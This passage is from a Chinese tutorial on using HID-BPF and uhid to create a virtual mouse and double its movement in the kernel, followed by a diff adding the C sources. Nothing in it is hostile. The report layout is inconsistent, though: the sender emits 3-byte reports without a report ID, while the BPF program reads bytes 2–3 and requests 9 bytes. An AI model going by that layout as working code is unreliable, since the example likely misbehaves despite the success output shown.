轴反了,按钮映射错了,或者设备感觉完全坏了。传统的解决方法需要编写内核驱动,等待数周的审查,然后希望你的发行版能在明年某个时候提供这个修复。到那时,你可能已经买了另一个设备。 + +本教程将向你展示更好的方法。我们将使用 HID-BPF 创建虚拟鼠标设备,并使用 eBPF 动态修改其输入。在几分钟内,而不是几个月,你就能看到如何在不修改内核的情况下修复设备问题。这项技术已经在主线 Linux 内核中提供了 14+ 个设备修复。 + +> 完整源代码: + +## HID 设备问题 + +HID(人机接口设备)是鼠标、键盘、游戏控制器和绘图板等输入设备的标准协议。该协议定义明确,但硬件供应商经常实现不正确或添加不符合规范的特性。当这种情况发生在 Linux 上时,用户就会遭殃。 + +假设你买了一个 Y 轴反转的绘图板。当你向上移动触控笔时,光标向下移动。或者你买了一个鼠标,其中按钮 4 和 5 报告为按钮 6 和 7,破坏了浏览器的后退/前进导航。这些错误非常令人沮丧,因为硬件在其他操作系统上完美运行,但 Linux 看到的是原始的错误数据。 + +传统的修复方法需要编写内核驱动或修补现有驱动。你需要了解内核开发,向 LKML 提交补丁,让它们被审查,等待下一个内核版本,然后再等待你的发行版发布该内核。对于硬件有问题的用户来说,这可能需要六个月或更长时间。大多数用户只是退回设备或双启动到另一个操作系统。 + +## HID-BPF 登场 + +HID-BPF 通过让你使用加载到内核的 eBPF 程序在用户空间修复设备来改变一切。这些程序使用 BPF struct_ops 挂钩到 HID 子系统,在应用程序看到 HID 报告之前拦截它们。你可以修改报告数据、修复描述符问题,甚至完全阻止某些操作。 + +这种方法为你提供了内核代码的安全性(BPF 验证器确保不会崩溃)和用户空间开发的灵活性。编写修复、加载它、立即测试。如果有效,打包并在同一天发布给用户。Linux 内核已经包含了针对 14 种不同设备的 HID-BPF 修复,包括: + +- Microsoft Xbox Elite 2 控制器 +- Huion 绘图板(Kamvas Pro 19, Inspiroy 2-S) +- XPPen 数位板(Artist24, ArtistPro16Gen2, DecoMini4) +- Wacom ArtPen +- Thrustmaster TCA Yoke Boeing +- IOGEAR Kaliber MMOmentum 鼠标 +- 各种其他鼠标和游戏外设 + +每个修复通常是 100-300 行 BPF 代码,而不是完整的内核驱动。随着 udev-hid-bpf 项目提供了脚手架,使编写这些修复变得更加容易,生态系统迅速发展。 + +## 为什么使用虚拟设备进行学习? + +本教程使用通过 uhid(用户空间 HID)创建的虚拟 HID 设备。你可能想知道为什么我们不直接附加到你的真实鼠标。虚拟设备非常适合学习,因为它们为你提供: + +- **完全控制**: 我们精确地发送我们想要的事件,何时发送 +- **可重复性**: 相同的测试事件每次都产生相同的结果 +- **安全性**: 不会意外破坏你的真实输入设备 +- **无需硬件**: 在任何具有内核 6.3+ 的 Linux 系统上都可以工作 + +我们创建的虚拟鼠标报告移动事件就像真实的 USB 鼠标一样。我们的 BPF 程序在输入子系统看到这些事件之前拦截并修改它们。在我们的例子中,我们将所有移动加倍,但同样的技术适用于修复反转的轴、重新映射按钮或任何其他转换。 + +## 实现:虚拟 HID 设备 + +让我们看看完整的实现,从创建虚拟鼠标的用户空间代码开始。这使用 uhid 接口,允许用户空间程序创建内核 HID 设备。 + +### 创建虚拟鼠标 + +```c +// SPDX-License-Identifier: GPL-2.0 +/* 创建虚拟 HID 鼠标并使用 BPF 修改其输入 */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "hid-input-modifier.skel.h" + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +/* 简单的鼠标报告描述符 */ +static unsigned char rdesc[] = { + 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ + 0x09, 0x02, /* USAGE (Mouse) */ + 0xa1, 0x01, /* COLLECTION (Application) */ + 0x09, 0x01, /* USAGE (Pointer) */ + 0xa1, 0x00, /* COLLECTION (Physical) */ + 0x05, 0x09, /* USAGE_PAGE (Button) */ + 0x19, 0x01, /* USAGE_MINIMUM (Button 1) */ + 0x29, 0x03, /* USAGE_MAXIMUM (Button 3) */ + 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ + 0x25, 0x01, /* LOGICAL_MAXIMUM (1) */ + 0x95, 0x03, /* REPORT_COUNT (3) */ + 0x75, 0x01, /* REPORT_SIZE (1) */ + 0x81, 0x02, /* INPUT (Data,Var,Abs) */ + 0x95, 0x01, /* REPORT_COUNT (1) */ + 0x75, 0x05, /* REPORT_SIZE (5) */ + 0x81, 0x03, /* INPUT (Cnst,Var,Abs) */ + 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ + 0x09, 0x30, /* USAGE (X) */ + 0x09, 0x31, /* USAGE (Y) */ + 0x15, 0x81, /* LOGICAL_MINIMUM (-127) */ + 0x25, 0x7f, /* LOGICAL_MAXIMUM (127) */ + 0x75, 0x08, /* REPORT_SIZE (8) */ + 0x95, 0x02, /* REPORT_COUNT (2) */ + 0x81, 0x06, /* INPUT (Data,Var,Rel) */ + 0xc0, /* END_COLLECTION */ + 0xc0 /* END_COLLECTION */ +}; +``` + +此报告描述符定义了具有三个按钮和相对 X/Y 移动的标准 USB 鼠标。描述符使用 HID 描述符语言告诉内核设备将发送什么数据。每个报告将包含三个字节:字节 0 中的按钮状态、字节 1 中的 X 移动和字节 2 中的 Y 移动。 + +uhid 接口要求我们在创建设备时写入此描述符: + +```c +static int create_uhid_device(void) +{ + struct uhid_event ev; + int fd; + + fd = open("/dev/uhid", O_RDWR | O_CLOEXEC); + if (fd < 0) { + fprintf(stderr, "无法打开 /dev/uhid: %m\n"); + return -errno; + } + + memset(&ev, 0, sizeof(ev)); + ev.type = UHID_CREATE; + strcpy((char*)ev.u.create.name, "BPF Virtual Mouse"); + ev.u.create.rd_data = rdesc; + ev.u.create.rd_size = sizeof(rdesc); + ev.u.create.bus = BUS_USB; + ev.u.create.vendor = 0x15d9; + ev.u.create.product = 0x0a37; + ev.u.create.version = 0; + ev.u.create.country = 0; + + if (uhid_write(fd, &ev)) { + close(fd); + return -1; + } + + printf("已创建虚拟 HID 设备\n"); + return fd; +} +``` + +成功后,内核会创建一个新的 HID 设备,就像真实的 USB 鼠标一样出现在 `/sys/bus/hid/devices/` 中。然后我们可以附加 BPF 程序来拦截其事件。 + +### 发送合成鼠标事件 + +创建虚拟设备后,我们可以注入鼠标移动事件: + +```c +static int send_mouse_event(int fd, __s8 x, __s8 y) +{ + struct uhid_event ev; + + memset(&ev, 0, sizeof(ev)); + ev.type = UHID_INPUT; + ev.u.input.size = 3; + ev.u.input.data[0] = 0; /* 按钮 */ + ev.u.input.data[1] = x; /* X 移动 */ + ev.u.input.data[2] = y; /* Y 移动 */ + + return uhid_write(fd, &ev); +} +``` + +每个事件发送三个字节,与我们的报告描述符匹配。字节 0 包含按钮状态(全零表示未按下任何按钮),字节 1 是作为有符号 8 位值的 X 移动,字节 2 是 Y 移动。内核处理此事件的方式与处理来自真实 USB 鼠标的事件完全相同。 + +## BPF 程序:拦截 HID 事件 + +现在是有趣的部分:修改鼠标输入的 BPF 程序。这在内核中运行,通过 struct_ops 附加到 HID 设备。 + +```c +// SPDX-License-Identifier: GPL-2.0 +/* HID-BPF 示例:修改来自虚拟 HID 设备的输入数据 + * + * 此程序将鼠标的 X 和 Y 移动加倍。 + * 与用户空间程序创建的虚拟 HID 设备一起使用。 + */ + +#include "vmlinux.h" +#include "hid_bpf_defs.h" +#include "hid_bpf.h" +#include "hid_bpf_helpers.h" +#include + +SEC("struct_ops/hid_device_event") +int BPF_PROG(hid_double_movement, struct hid_bpf_ctx *hctx, enum hid_report_type type) +{ + __u8 *data = hid_bpf_get_data(hctx, 0, 9); + __s8 x, y; + + if (!data) + return 0; + + /* 鼠标 HID 报告格式(简化): + * 字节 0: 报告 ID + * 字节 1: 按钮 + * 字节 2: X 移动(有符号字节) + * 字节 3: Y 移动(有符号字节) + */ + + x = (__s8)data[2]; + y = (__s8)data[3]; + + /* 移动加倍 */ + x *= 2; + y *= 2; + + data[2] = (__u8)x; + data[3] = (__u8)y; + + bpf_printk("已修改: X=%d Y=%d -> X=%d Y=%d", + (__s8)data[2]/2, (__s8)data[3]/2, + (__s8)data[2], (__s8)data[3]); + + return 0; +} + +SEC(".struct_ops.link") +struct hid_bpf_ops input_modifier = { + .hid_device_event = (void *)hid_double_movement, +}; + +char _license[] SEC("license") = "GPL"; +``` + +程序挂钩到 `hid_device_event`,内核为每个 HID 输入报告调用它。`hctx` 参数提供有关设备和报告的上下文。我们调用 `hid_bpf_get_data()` 来获取指向实际报告数据的指针,我们可以读取和修改它。 + +报告数据遵循我们的描述符定义的格式。对于我们的简单鼠标,字节 2 包含 X 移动,字节 3 包含 Y 移动,均为有符号 8 位整数。我们读取这些值,将它们加倍,然后写回。然后内核将修改后的报告传递给输入子系统,应用程序看到加倍的移动。 + +`bpf_printk()` 调用将我们的修改记录到内核跟踪缓冲区。这对调试非常宝贵,让你准确地看到 BPF 程序如何转换每个事件。 + +### 理解 struct_ops + +`SEC(".struct_ops.link")` 部分创建一个 struct_ops 映射,将我们的 BPF 程序连接到 HID 子系统。Struct_ops 是一个 BPF 功能,允许你在 BPF 代码中实现内核接口。对于 HID,这意味着提供内核在 HID 处理期间调用的回调。 + +`hid_bpf_ops` 结构定义了我们正在实现的回调。我们只需要 `hid_device_event` 来拦截报告,但 HID-BPF 还支持: + +- `hid_rdesc_fixup`: 修改报告描述符本身 +- `hid_hw_request`: 拦截对设备的请求 +- `hid_hw_output_report`: 拦截输出报告 + +用户空间代码加载此 BPF 程序并通过将 `hid_id` 字段设置为我们的虚拟设备的 ID 来附加它,然后调用 `bpf_map__attach_struct_ops()`。 + +## 综合应用 + +主函数协调一切: + +```c +int main(int argc, char **argv) +{ + struct hid_input_modifier_bpf *skel = NULL; + struct bpf_link *link = NULL; + int err, hid_id; + + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* 创建虚拟 HID 设备 */ + uhid_fd = create_uhid_device(); + if (uhid_fd < 0) + return 1; + + /* 查找 HID 设备 ID */ + hid_id = find_hid_device(); + if (hid_id < 0) { + fprintf(stderr, "无法找到虚拟 HID 设备\n"); + destroy_uhid_device(uhid_fd); + return 1; + } + + /* 打开并加载 BPF 程序 */ + skel = hid_input_modifier_bpf__open(); + if (!skel) { + fprintf(stderr, "无法打开 BPF skeleton\n"); + destroy_uhid_device(uhid_fd); + return 1; + } + + skel->struct_ops.input_modifier->hid_id = hid_id; + + err = hid_input_modifier_bpf__load(skel); + if (err) { + fprintf(stderr, "无法加载 BPF skeleton: %d\n", err); + goto cleanup; + } + + /* 附加 BPF 程序 */ + link = bpf_map__attach_struct_ops(skel->maps.input_modifier); + if (!link) { + fprintf(stderr, "无法附加 BPF 程序: %s\n", strerror(errno)); + err = -1; + goto cleanup; + } + + printf("BPF 程序附加成功!\n"); + printf("BPF 程序将使所有鼠标移动加倍\n\n"); + printf("发送测试鼠标事件:\n"); + + /* 发送一些测试事件 */ + for (int i = 0; i < 5 && !exiting; i++) { + __s8 x = 10, y = 20; + printf("发送: X=%d, Y=%d (BPF 将加倍为 X=%d, Y=%d)\n", + x, y, x*2, y*2); + send_mouse_event(uhid_fd, x, y); + sleep(1); + } + + printf("\n按 Ctrl-C 退出...\n"); + while (!exiting) + sleep(1); + +cleanup: + bpf_link__destroy(link); + hid_input_modifier_bpf__destroy(skel); + destroy_uhid_device(uhid_fd); + return err < 0 ? -err : 0; +} +``` + +流程很简单:创建虚拟设备、查找其 ID、使用该 ID 加载 BPF 程序、附加程序、发送测试事件。BPF 程序在内核中运行,在每个事件到达输入层之前拦截并修改它。 + +## 理解 HID 报告格式 + +要有效地修改 HID 数据,你需要理解报告格式。我们的简单鼠标使用此结构: + +``` +字节 0: 报告 ID(对于我们的单一报告类型始终为 0) +字节 1: 按钮状态 + 位 0: 左键 + 位 1: 右键 + 位 2: 中键 + 位 3-7: 未使用 +字节 2: X 移动(有符号 8 位,-127 到 +127) +字节 3: Y 移动(有符号 8 位,-127 到 +127) +``` + +真实设备通常具有更复杂的报告,具有多个报告 ID、更多按钮、滚轮数据和其他轴。你可以通过检查设备的报告描述符来确定格式,可以从 sysfs 读取或查看类似设备的现有内核驱动。 + +## 编译和执行 + +构建示例很简单。导航到教程目录并运行 make: + +```bash +cd src/49-hid +make +``` + +这会编译 BPF 程序和用户空间加载器,生成 `hid-input-modifier` 可执行文件。使用 sudo 运行它,因为 HID-BPF 需要 CAP_BPF 和 CAP_SYS_ADMIN 权限: + +```bash +sudo ./hid-input-modifier +``` + +你会看到类似这样的输出: + +``` +已创建虚拟 HID 设备 +找到 HID 设备 ID: 8 +BPF 程序附加成功! +BPF 程序将使所有鼠标移动加倍 + +发送测试鼠标事件: +发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40) +发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40) +发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40) +发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40) +发送: X=10, Y=20 (BPF 将加倍为 X=20, Y=40) + +按 Ctrl-C 退出... +``` + +在另一个终端中,你可以查看 BPF 跟踪输出以查看正在进行的修改: + +```bash +sudo cat /sys/kernel/debug/tracing/trace_pipe +``` + +这显示了来自 BPF 程序的 `bpf_printk()` 消息,确认事件正在被拦截和修改。 + +## 实验修改 + +这种方法的美妙之处在于实验是多么容易。想要反转鼠标方向而不是加倍它?只需更改 BPF 代码: + +```c +/* 反转方向 */ +x = -x; +y = -y; +``` + +或者交换轴,使水平变为垂直: + +```c +/* 交换轴 */ +__s8 temp = x; +x = y; +y = temp; +``` + +你可以为老化的操纵杆实现死区过滤: + +```c +/* 忽略小移动 */ +if (x > -5 && x < 5) x = 0; +if (y > -5 && y < 5) y = 0; +``` + +或修复绘图板上常见的 Y 轴反转问题: + +```c +/* 仅反转 Y 轴 */ +y = -y; +``` + +任何更改后,只需运行 `make` 并再次执行。无需重建内核、无需模块签名、无需等待。这就是 HID-BPF 的力量。 + +## 总结 + +HID-BPF 改变了我们在 Linux 上处理古怪输入设备的方式。我们可以编写小型 BPF 程序立即修复设备,而不是需要数月才能到达用户的内核补丁。由于 BPF 验证器,程序在内核中安全运行,并且可以像任何其他软件一样打包和分发。 + +本教程通过创建虚拟鼠标并修改其输入向你展示了基础知识。你看到了 uhid 如何让用户空间创建 HID 设备,BPF struct_ops 如何将程序连接到 HID 子系统,以及简单的转换如何修复常见的设备问题。相同的技术适用于真实硬件,无论你是修复反转的平板轴还是实现自定义游戏控制器映射。 + +Linux 内核已经提供了 14 个 HID-BPF 设备修复,并且每个版本都在增加。像 udev-hid-bpf 这样的项目使编写和分发修复变得更加容易。如果你有一个损坏的 HID 设备,你现在有工具可以自己修复它,只需几个小时而不是几个月。 + +> 如果你想深入了解 eBPF,请查看我们的教程代码仓库 或访问我们的网站 。 + +## 参考资料 + +- [Linux HID-BPF 文档](https://docs.kernel.org/hid/hid-bpf.html) +- [udev-hid-bpf 项目](https://gitlab.freedesktop.org/libevdev/udev-hid-bpf) +- [内核 HID-BPF 设备修复](https://github.com/torvalds/linux/tree/master/drivers/hid/bpf/progs) +- [UHID 内核文档](https://www.kernel.org/doc/html/latest/hid/uhid.html) +- [HID 使用表](https://www.usb.org/document-library/device-class-definition-hid-111) +- [Who-T 博客: udev-hid-bpf 快速入门](https://who-t.blogspot.com/2024/04/udev-hid-bpf-quickstart-tooling-to-fix.html) diff --git a/src/49-hid/hid-input-modifier.bpf.c b/src/49-hid/hid-input-modifier.bpf.c new file mode 100644 index 00000000..68abb7f0 --- /dev/null +++ b/src/49-hid/hid-input-modifier.bpf.c @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0 +/* HID-BPF example: Modify input data from virtual HID device + * + * This program doubles the X and Y movement of a mouse. + * Works with the virtual HID device created by the userspace program. + */ + +#include "vmlinux.h" +#include "hid_bpf_defs.h" +#include "hid_bpf.h" +#include "hid_bpf_helpers.h" +#include + +SEC("struct_ops/hid_device_event") +int BPF_PROG(hid_double_movement, struct hid_bpf_ctx *hctx, enum hid_report_type type) +{ + __u8 *data = hid_bpf_get_data(hctx, 0, 9); + __s8 x, y; + + if (!data) + return 0; + + /* Mouse HID report format (simplified): + * Byte 0: Report ID + * Byte 1: Buttons + * Byte 2: X movement (signed byte) + * Byte 3: Y movement (signed byte) + */ + + x = (__s8)data[2]; + y = (__s8)data[3]; + + /* Double the movement */ + x *= 2; + y *= 2; + + data[2] = (__u8)x; + data[3] = (__u8)y; + + bpf_printk("Modified: X=%d Y=%d -> X=%d Y=%d", + (__s8)data[2]/2, (__s8)data[3]/2, + (__s8)data[2], (__s8)data[3]); + + return 0; +} + +SEC(".struct_ops.link") +struct hid_bpf_ops input_modifier = { + .hid_device_event = (void *)hid_double_movement, +}; + +char _license[] SEC("license") = "GPL"; diff --git a/src/49-hid/hid-input-modifier.c b/src/49-hid/hid-input-modifier.c new file mode 100644 index 00000000..4f300a7e --- /dev/null +++ b/src/49-hid/hid-input-modifier.c @@ -0,0 +1,227 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Create virtual HID mouse and modify its input with BPF + * + * This program: + * 1. Creates a virtual HID mouse using uhid + * 2. Attaches a BPF program that doubles movement + * 3. Sends synthetic mouse events + * 4. Shows the BPF modification in action + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "hid-input-modifier.skel.h" + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +/* Simple mouse report descriptor */ +static unsigned char rdesc[] = { + 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ + 0x09, 0x02, /* USAGE (Mouse) */ + 0xa1, 0x01, /* COLLECTION (Application) */ + 0x09, 0x01, /* USAGE (Pointer) */ + 0xa1, 0x00, /* COLLECTION (Physical) */ + 0x05, 0x09, /* USAGE_PAGE (Button) */ + 0x19, 0x01, /* USAGE_MINIMUM (Button 1) */ + 0x29, 0x03, /* USAGE_MAXIMUM (Button 3) */ + 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ + 0x25, 0x01, /* LOGICAL_MAXIMUM (1) */ + 0x95, 0x03, /* REPORT_COUNT (3) */ + 0x75, 0x01, /* REPORT_SIZE (1) */ + 0x81, 0x02, /* INPUT (Data,Var,Abs) */ + 0x95, 0x01, /* REPORT_COUNT (1) */ + 0x75, 0x05, /* REPORT_SIZE (5) */ + 0x81, 0x03, /* INPUT (Cnst,Var,Abs) */ + 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ + 0x09, 0x30, /* USAGE (X) */ + 0x09, 0x31, /* USAGE (Y) */ + 0x15, 0x81, /* LOGICAL_MINIMUM (-127) */ + 0x25, 0x7f, /* LOGICAL_MAXIMUM (127) */ + 0x75, 0x08, /* REPORT_SIZE (8) */ + 0x95, 0x02, /* REPORT_COUNT (2) */ + 0x81, 0x06, /* INPUT (Data,Var,Rel) */ + 0xc0, /* END_COLLECTION */ + 0xc0 /* END_COLLECTION */ +}; + +static int uhid_fd = -1; + +static int uhid_write(int fd, const struct uhid_event *ev) +{ + ssize_t ret; + ret = write(fd, ev, sizeof(*ev)); + if (ret < 0) { + fprintf(stderr, "Cannot write to uhid: %m\n"); + return -errno; + } else if (ret != sizeof(*ev)) { + fprintf(stderr, "Wrong size written to uhid: %zd != %zu\n", + ret, sizeof(*ev)); + return -EFAULT; + } + return 0; +} + +static int create_uhid_device(void) +{ + struct uhid_event ev; + int fd; + + fd = open("/dev/uhid", O_RDWR | O_CLOEXEC); + if (fd < 0) { + fprintf(stderr, "Cannot open /dev/uhid: %m\n"); + return -errno; + } + + memset(&ev, 0, sizeof(ev)); + ev.type = UHID_CREATE; + strcpy((char*)ev.u.create.name, "BPF Virtual Mouse"); + ev.u.create.rd_data = rdesc; + ev.u.create.rd_size = sizeof(rdesc); + ev.u.create.bus = BUS_USB; + ev.u.create.vendor = 0x15d9; + ev.u.create.product = 0x0a37; + ev.u.create.version = 0; + ev.u.create.country = 0; + + if (uhid_write(fd, &ev)) { + close(fd); + return -1; + } + + printf("Created virtual HID device\n"); + return fd; +} + +static int destroy_uhid_device(int fd) +{ + struct uhid_event ev; + + memset(&ev, 0, sizeof(ev)); + ev.type = UHID_DESTROY; + uhid_write(fd, &ev); + close(fd); + printf("Destroyed virtual HID device\n"); + return 0; +} + +static int send_mouse_event(int fd, __s8 x, __s8 y) +{ + struct uhid_event ev; + + memset(&ev, 0, sizeof(ev)); + ev.type = UHID_INPUT; + ev.u.input.size = 3; + ev.u.input.data[0] = 0; /* Buttons */ + ev.u.input.data[1] = x; /* X movement */ + ev.u.input.data[2] = y; /* Y movement */ + + return uhid_write(fd, &ev); +} + +/* Find our virtual HID device */ +static int find_hid_device(void) +{ + char path[256]; + FILE *fp; + int i; + + /* Wait a bit for device to appear */ + sleep(1); + + for (i = 0; i < 100; i++) { + snprintf(path, sizeof(path), "/sys/bus/hid/devices/0003:15D9:0A37.%04X/uevent", i); + fp = fopen(path, "r"); + if (fp) { + fclose(fp); + printf("Found HID device ID: %d\n", i); + return i; + } + } + + return -1; +} + +int main(int argc, char **argv) +{ + struct hid_input_modifier_bpf *skel = NULL; + struct bpf_link *link = NULL; + int err, hid_id; + + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Create virtual HID device */ + uhid_fd = create_uhid_device(); + if (uhid_fd < 0) + return 1; + + /* Find the HID device ID */ + hid_id = find_hid_device(); + if (hid_id < 0) { + fprintf(stderr, "Cannot find virtual HID device\n"); + destroy_uhid_device(uhid_fd); + return 1; + } + + /* Open and load BPF program */ + skel = hid_input_modifier_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + destroy_uhid_device(uhid_fd); + return 1; + } + + skel->struct_ops.input_modifier->hid_id = hid_id; + + err = hid_input_modifier_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load BPF skeleton: %d\n", err); + goto cleanup; + } + + /* Attach BPF program */ + link = bpf_map__attach_struct_ops(skel->maps.input_modifier); + if (!link) { + fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); + err = -1; + goto cleanup; + } + + printf("BPF program attached successfully!\n"); + printf("The BPF program will DOUBLE all mouse movements\n\n"); + printf("Sending test mouse events:\n"); + printf("View trace with: sudo cat /sys/kernel/debug/tracing/trace_pipe\n\n"); + + /* Send some test events */ + for (int i = 0; i < 5 && !exiting; i++) { + __s8 x = 10, y = 20; + printf("Sending: X=%d, Y=%d (BPF will double to X=%d, Y=%d)\n", + x, y, x*2, y*2); + send_mouse_event(uhid_fd, x, y); + sleep(1); + } + + printf("\nPress Ctrl-C to exit...\n"); + while (!exiting) + sleep(1); + +cleanup: + bpf_link__destroy(link); + hid_input_modifier_bpf__destroy(skel); + destroy_uhid_device(uhid_fd); + return err < 0 ? -err : 0; +} diff --git a/src/49-hid/hid_bpf.h b/src/49-hid/hid_bpf.h new file mode 100644 index 00000000..7cabd1b2 --- /dev/null +++ b/src/49-hid/hid_bpf.h @@ -0,0 +1,21 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ +/* Copyright (c) 2022 Benjamin Tissoires + */ + +#ifndef ____HID_BPF__H +#define ____HID_BPF__H + +#define HID_BPF_DEVICE_EVENT "struct_ops/hid_device_event" +#define HID_BPF_RDESC_FIXUP "struct_ops/hid_rdesc_fixup" +#define HID_BPF_OPS(name) SEC(".struct_ops.link") \ + struct hid_bpf_ops name +#define hid_set_name(_hdev, _name) __builtin_memcpy(_hdev->name, _name, sizeof(_name)) + +struct hid_bpf_probe_args { + unsigned int hid; + unsigned int rdesc_size; + unsigned char rdesc[4096]; + int retval; +}; + +#endif /* ____HID_BPF__H */ diff --git a/src/49-hid/hid_bpf_defs.h b/src/49-hid/hid_bpf_defs.h new file mode 100644 index 00000000..c860df1d --- /dev/null +++ b/src/49-hid/hid_bpf_defs.h @@ -0,0 +1,27 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +#ifndef __HID_BPF_DEFS_H +#define __HID_BPF_DEFS_H + +/* HID BPF context structure */ +struct hid_bpf_ctx { + struct hid_device *hid; + __u32 allocated_size; + union { + __s32 retval; + __s32 size; + }; +}; + +/* HID BPF operations structure */ +struct hid_bpf_ops { + int hid_id; + __u32 flags; + int (*hid_device_event)(struct hid_bpf_ctx *ctx, enum hid_report_type report_type); + int (*hid_rdesc_fixup)(struct hid_bpf_ctx *ctx); + int (*hid_hw_request)(struct hid_bpf_ctx *ctx, unsigned char reportnum, + enum hid_report_type rtype, enum hid_class_request reqtype, + __u64 source); + int (*hid_hw_output_report)(struct hid_bpf_ctx *ctx, __u64 source); +}; + +#endif /* __HID_BPF_DEFS_H */ diff --git a/src/49-hid/hid_bpf_helpers.h b/src/49-hid/hid_bpf_helpers.h new file mode 100644 index 00000000..3ba24d12 --- /dev/null +++ b/src/49-hid/hid_bpf_helpers.h @@ -0,0 +1,169 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ +/* Copyright (c) 2022 Benjamin Tissoires + */ + +#ifndef __HID_BPF_HELPERS_H +#define __HID_BPF_HELPERS_H + +#include "vmlinux.h" +#include +#include + +extern __u8 *hid_bpf_get_data(struct hid_bpf_ctx *ctx, + unsigned int offset, + const size_t __sz) __ksym; +extern struct hid_bpf_ctx *hid_bpf_allocate_context(unsigned int hid_id) __ksym; +extern void hid_bpf_release_context(struct hid_bpf_ctx *ctx) __ksym; +extern int hid_bpf_hw_request(struct hid_bpf_ctx *ctx, + __u8 *data, + size_t buf__sz, + enum hid_report_type type, + enum hid_class_request reqtype) __ksym; + +#define HID_MAX_DESCRIPTOR_SIZE 4096 +#define HID_IGNORE_EVENT -1 + +/* extracted from */ +#define BUS_ANY 0x00 +#define BUS_PCI 0x01 +#define BUS_ISAPNP 0x02 +#define BUS_USB 0x03 +#define BUS_HIL 0x04 +#define BUS_BLUETOOTH 0x05 +#define BUS_VIRTUAL 0x06 +#define BUS_ISA 0x10 +#define BUS_I8042 0x11 +#define BUS_XTKBD 0x12 +#define BUS_RS232 0x13 +#define BUS_GAMEPORT 0x14 +#define BUS_PARPORT 0x15 +#define BUS_AMIGA 0x16 +#define BUS_ADB 0x17 +#define BUS_I2C 0x18 +#define BUS_HOST 0x19 +#define BUS_GSC 0x1A +#define BUS_ATARI 0x1B +#define BUS_SPI 0x1C +#define BUS_RMI 0x1D +#define BUS_CEC 0x1E +#define BUS_INTEL_ISHTP 0x1F +#define BUS_AMD_SFH 0x20 + +/* extracted from */ +#define HID_GROUP_ANY 0x0000 +#define HID_GROUP_GENERIC 0x0001 +#define HID_GROUP_MULTITOUCH 0x0002 +#define HID_GROUP_SENSOR_HUB 0x0003 +#define HID_GROUP_MULTITOUCH_WIN_8 0x0004 +#define HID_GROUP_RMI 0x0100 +#define HID_GROUP_WACOM 0x0101 +#define HID_GROUP_LOGITECH_DJ_DEVICE 0x0102 +#define HID_GROUP_STEAM 0x0103 +#define HID_GROUP_LOGITECH_27MHZ_DEVICE 0x0104 +#define HID_GROUP_VIVALDI 0x0105 + +/* include/linux/mod_devicetable.h defines as (~0), but that gives us negative size arrays */ +#define HID_VID_ANY 0x0000 +#define HID_PID_ANY 0x0000 + +#define BIT(n) (1UL << (n)) +#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0])) + +/* Helper macro to convert (foo, __LINE__) into foo134 so we can use __LINE__ for + * field/variable names + */ +#define COMBINE1(X, Y) X ## Y +#define COMBINE(X, Y) COMBINE1(X, Y) + +/* Macro magic: + * __uint(foo, 123) creates a int (*foo)[1234] + * + * We use that macro to declare an anonymous struct with several + * fields, each is the declaration of an pointer to an array of size + * bus/group/vid/pid. (Because it's a pointer to such an array, actual storage + * would be sizeof(pointer) rather than sizeof(array). Not that we ever + * instantiate it anyway). + * + * This is only used for BTF introspection, we can later check "what size + * is the bus array" in the introspection data and thus extract the bus ID + * again. + * + * And we use the __LINE__ to give each of our structs a unique name so the + * BPF program writer doesn't have to. + * + * $ bpftool btf dump file target/bpf/HP_Elite_Presenter.bpf.o + * shows the inspection data, start by searching for .hid_bpf_config + * and working backwards from that (each entry references the type_id of the + * content). + */ + +#define HID_DEVICE(b, g, ven, prod) \ + struct { \ + __uint(name, 0); \ + __uint(bus, (b)); \ + __uint(group, (g)); \ + __uint(vid, (ven)); \ + __uint(pid, (prod)); \ + } COMBINE(_entry, __LINE__) + +/* Macro magic below is to make HID_BPF_CONFIG() look like a function call that + * we can pass multiple HID_DEVICE() invocations in. + * + * For up to 16 arguments, HID_BPF_CONFIG(one, two) resolves to + * + * union { + * HID_DEVICE(...); + * HID_DEVICE(...); + * } _device_ids SEC(".hid_bpf_config") + * + */ + +/* Returns the number of macro arguments, this expands + * NARGS(a, b, c) to NTH_ARG(a, b, c, 15, 14, 13, .... 4, 3, 2, 1). + * NTH_ARG always returns the 16th argument which in our case is 3. + * + * If we want more than 16 values _COUNTDOWN and _NTH_ARG both need to be + * updated. + */ +#define _NARGS(...) _NARGS1(__VA_ARGS__, _COUNTDOWN) +#define _NARGS1(...) _NTH_ARG(__VA_ARGS__) + +/* Add to this if we need more than 16 args */ +#define _COUNTDOWN \ + 15, 14, 13, 12, 11, 10, 9, 8, \ + 7, 6, 5, 4, 3, 2, 1, 0 + +/* Return the 16 argument passed in. See _NARGS above for usage. Note this is + * 1-indexed. + */ +#define _NTH_ARG( \ + _1, _2, _3, _4, _5, _6, _7, _8, \ + _9, _10, _11, _12, _13, _14, _15,\ + N, ...) N + +/* Turns EXPAND(_ARG, a, b, c) into _ARG3(a, b, c) */ +#define _EXPAND(func, ...) COMBINE(func, _NARGS(__VA_ARGS__)) (__VA_ARGS__) + +/* And now define all the ARG macros for each number of args we want to accept */ +#define _ARG1(_1) _1; +#define _ARG2(_1, _2) _1; _2; +#define _ARG3(_1, _2, _3) _1; _2; _3; +#define 